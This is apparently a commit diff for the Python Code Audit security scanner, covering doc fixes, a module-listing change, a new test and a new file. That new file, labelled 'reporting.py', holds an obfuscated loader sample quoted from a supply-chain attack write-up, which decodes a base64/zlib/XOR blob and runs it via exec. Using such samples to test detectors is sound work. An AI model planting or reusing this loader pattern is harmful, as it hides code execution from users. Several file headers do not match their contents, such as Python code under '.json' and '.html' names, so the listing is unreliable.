updates

Author: nocomplexity

docs/astlines.md

@@ -71,7 +71,7 @@ If needed, you can also export the `json` output for further processing in a sep
 ### HTML report example 
 
 
-```yml
+```yaml
 # SAST scan with Python Code Audit on GitLab.com
 image: python:3.13-slim
 
@@ -137,7 +137,7 @@ codeaudit-scan:
 
 For structured processing or integration with other tools:
 
-```yml
+```yaml
 codeaudit-scan:
   stage: scan
 

docs/astlines2.md

@@ -762,4 +762,4 @@
       <td>Vulnerable to path traversal attacks if used with untrusted archives.</td>
     </tr>
   </tbody>
-</table><br><p>Number of implemented security validations:<b>87</b></p><p>Version of codeaudit: <b>1.7.0</b><p>Because Python and cybersecurity are constantly changing, issue reports <b>SHOULD</b> specify the codeaudit version used.</p><p><b>Disclaimer:</b> <i>This SAST tool <a href="https://github.com/nocomplexity/codeaudit" target="_blank"><b>Python Code Audit</b></a> provides a powerful, automatic security analysis for Python source code. However, it's not a substitute for human review in combination with business knowledge. Undetected vulnerabilities may still exist.</i></p><p>This Python security report was created on: <b>2026-06-22 11:05</b> with <a href="https://github.com/nocomplexity/codeaudit" target="_blank"><b>Python Code Audit</b></a> version <b>1.7.0</b></p><hr><footer><div class="footer-links">Check the <a href="https://nocomplexity.com/documents/codeaudit/intro.html" target="_blank">documentation</a> for help on found issues.<br>Codeaudit is made with <span class="heart">&#10084;</span> by cyber security professionals who advocate for <a href="https://nocomplexity.com/simplify-security/" target="_blank">open simple security solutions</a>.<br><a href="https://nocomplexity.com/documents/codeaudit/CONTRIBUTE.html" target="_blank">Join the community</a> and contribute to make this tool better!</div></footer></div></body></html>
+</table><br><p>Number of implemented security validations:<b>87</b></p><p>Version of codeaudit: <b>1.7.0</b><p>Because Python and cybersecurity are constantly changing, issue reports <b>SHOULD</b> specify the codeaudit version used.</p><p><b>Disclaimer:</b> <i>This SAST tool <a href="https://github.com/nocomplexity/codeaudit" target="_blank"><b>Python Code Audit</b></a> provides a powerful, automatic security analysis for Python source code. However, it's not a substitute for human review in combination with business knowledge. Undetected vulnerabilities may still exist.</i></p><p>This Python security report was created on: <b>2026-06-24 17:16</b> with <a href="https://github.com/nocomplexity/codeaudit" target="_blank"><b>Python Code Audit</b></a> version <b>1.7.0</b></p><hr><footer><div class="footer-links">Check the <a href="https://nocomplexity.com/documents/codeaudit/intro.html" target="_blank">documentation</a> for help on found issues.<br>Codeaudit is made with <span class="heart">&#10084;</span> by cyber security professionals who advocate for <a href="https://nocomplexity.com/simplify-security/" target="_blank">open simple security solutions</a>.<br><a href="https://nocomplexity.com/documents/codeaudit/CONTRIBUTE.html" target="_blank">Join the community</a> and contribute to make this tool better!</div></footer></div></body></html>

docs/cimode.md

@@ -1,7 +1,7 @@
 {
   "name": "Python_Code_Audit",
   "version": "1.7.0",
-  "generated_on": "2026-06-22 11:04",
+  "generated_on": "2026-06-24 17:16",
   "file_security_info": {
     "0": {
       "FileName": "demofile.py",

docs/examples/codeauditchecks.html

@@ -311,7 +311,22 @@ def get_weakness_counts(input_file, nosec=False):
 
 
 def get_modules(filename):
-    """Gets modules of a Python file"""
+    """Extract imported modules from a Python source file.
+
+    Analyzes the specified Python file and returns the modules imported
+    directly within the source code. This approach relies on the actual
+    imports present in the file rather than dependency declarations such as
+    ``requirements.txt`` or ``pyproject.toml``, which may be incomplete or
+    outdated.
+
+    Args:
+        filename (str): Path to the Python file to analyze.
+
+    Returns:
+        dict: A dictionary containing discovered modules. Expected keys are:
+            - ``core_modules`` (list[str]): Standard library modules.
+            - ``imported_modules`` (list[str]): Third-party modules.
+    """
     modules_found = get_imported_modules_by_file(filename)
     return modules_found
 
@@ -731,7 +746,7 @@ def _collect_issue_lines(filename, line, context=1):
 
     snippet_lines = [l.rstrip("\n") for l in snippet_lines if l.strip() != ""]
 
-    # Escape HTML to prevent injection
+    # Escape HTML to prevent HTML injection
     escaped_lines = [html.escape(l) for l in snippet_lines]
 
     code_lines = (

docs/examples/demoscan.json

@@ -46,7 +46,6 @@
     get_imported_modules,
     check_module_vulnerability,
     get_all_modules,
-    get_imported_modules_by_file,
 )
 from codeaudit.htmlhelpfunctions import json_to_html, dict_list_to_html_table
 
@@ -59,7 +58,7 @@
 
 from codeaudit.privacy_lint import data_egress_scan, has_privacy_findings
 from codeaudit.suppression import filter_sast_results
-from codeaudit.api_interfaces import _collect_issue_lines
+from codeaudit.api_interfaces import _collect_issue_lines, get_modules
 
 CA_VERSION = __version__
 
@@ -229,7 +228,7 @@ def display_found_modules(modules_discovered):
     """
     core_modules = modules_discovered["core_modules"]
     external_modules = modules_discovered["imported_modules"]
-    output = "<p><b>Used Python Standard libraries:</b></p>"
+    output = "<p><b>Used Python Standard Libraries:</b></p>"
     output += (
         "<ul>\n"
         + "\n".join(f"  <li>{module}</li>" for module in core_modules)
@@ -512,7 +511,6 @@ def single_file_report(filename, scan_output):
     ]  # reorder the columns before converting to html
     df = df.sort_values(by="line")  # sort by line number
     if number_of_issues > 0:
-        # output = f'<p>&#9888;&#65039; <b>{number_of_issues}</b> potential <b>security issues</b> found!</p>'
         output = f'<p>&#9888;&#65039; <b>{number_of_issues}</b> potential <b>security issue{"s" if number_of_issues != 1 else ""}</b> found!</p>'
         output += "<details>"
         output += "<summary>View identified security weaknesses.</summary>"
@@ -530,12 +528,18 @@ def single_file_report(filename, scan_output):
     output += df_overview.to_html(escape=True, index=False)
     output += "</details>"
     output += "<br>"
-    output += "<details>"
-    output += "<summary>View used modules in this file.</summary>"
-    modules_found = get_imported_modules_by_file(filename)
-    output += display_found_modules(modules_found)
-    output += f'<p>To check for <b>reported vulnerabilities</b> in external modules used by this file, use the command:<br><div class="code-box">codeaudit modulescan {filename}</div><br></p>'
-    output += "</details>"
+    modules_found = get_modules(filename)
+    if any(modules_found.values()):
+        output += "<details>"
+        output += "<summary>View used modules in this file.</summary>"
+        output += display_found_modules(modules_found)
+        if modules_found and modules_found.get(
+            "imported_modules"
+        ):  # only display when external modules are found
+            output += f'<p>To check for <b>reported vulnerabilities</b> in external modules used by this file, use the command:<br><div class="code-box">codeaudit modulescan {filename}</div><br></p>'
+        output += "</details>"
+    else:
+        output += "<p>No modules found in this file.</p>"
     return output
 
 

src/codeaudit/api_interfaces.py

@@ -23,6 +23,22 @@ def test_module_check():
     assert actual_data == expected_data
 
 
+def test_module_notpresent_check():
+    # No modules present in this file , no PSL , no external modules,
+    current_file_directory = Path(__file__).parent
+    # validation1.py is in a subfolder:
+    validation_file_path = current_file_directory / "validationfiles" / "malware.py"
+    source = read_in_source_file(validation_file_path)
+
+    actual_data = get_imported_modules(source)
+
+    # This is the expected dictionary
+    expected_data = {"core_modules": [], "imported_modules": []}
+
+    # Assert that the actual data matches the expected data
+    assert actual_data == expected_data
+
+
 def test_module_vulnerability_info():
     ## note: Output can change if more info is added to OSV!
 

src/codeaudit/reporting.py

@@ -0,0 +1,13 @@
+# Source https://www.stepsecurity.io/blog/forcememo-hundreds-of-github-python-repos-compromised-via-account-takeover-and-force-push
+
+# Obfuscation wrapper (appended to end of legitimate Python file)
+# -*- coding: utf-8 -*-
+aqgqzxkfjzbdnhz = __import__('base64')
+wogyjaaijwqbpxe = __import__('zlib')
+idzextbcjbgkdih = 134
+qyrrhmmwrhaknyf = lambda d, o: bytes([b ^ idzextbcjbgkdih for b in d])
+lzcdrtfxyqiplpd = '<4,800-character base64 blob>'
+runzmcxgusiurqv = wogyjaaijwqbpxe.decompress(
+   aqgqzxkfjzbdnhz.b64decode(lzcdrtfxyqiplpd))
+ycqljtcxxkyiplo = qyrrhmmwrhaknyf(runzmcxgusiurqv, idzextbcjbgkdih)
+exec(compile(ycqljtcxxkyiplo, '<>', 'exec'))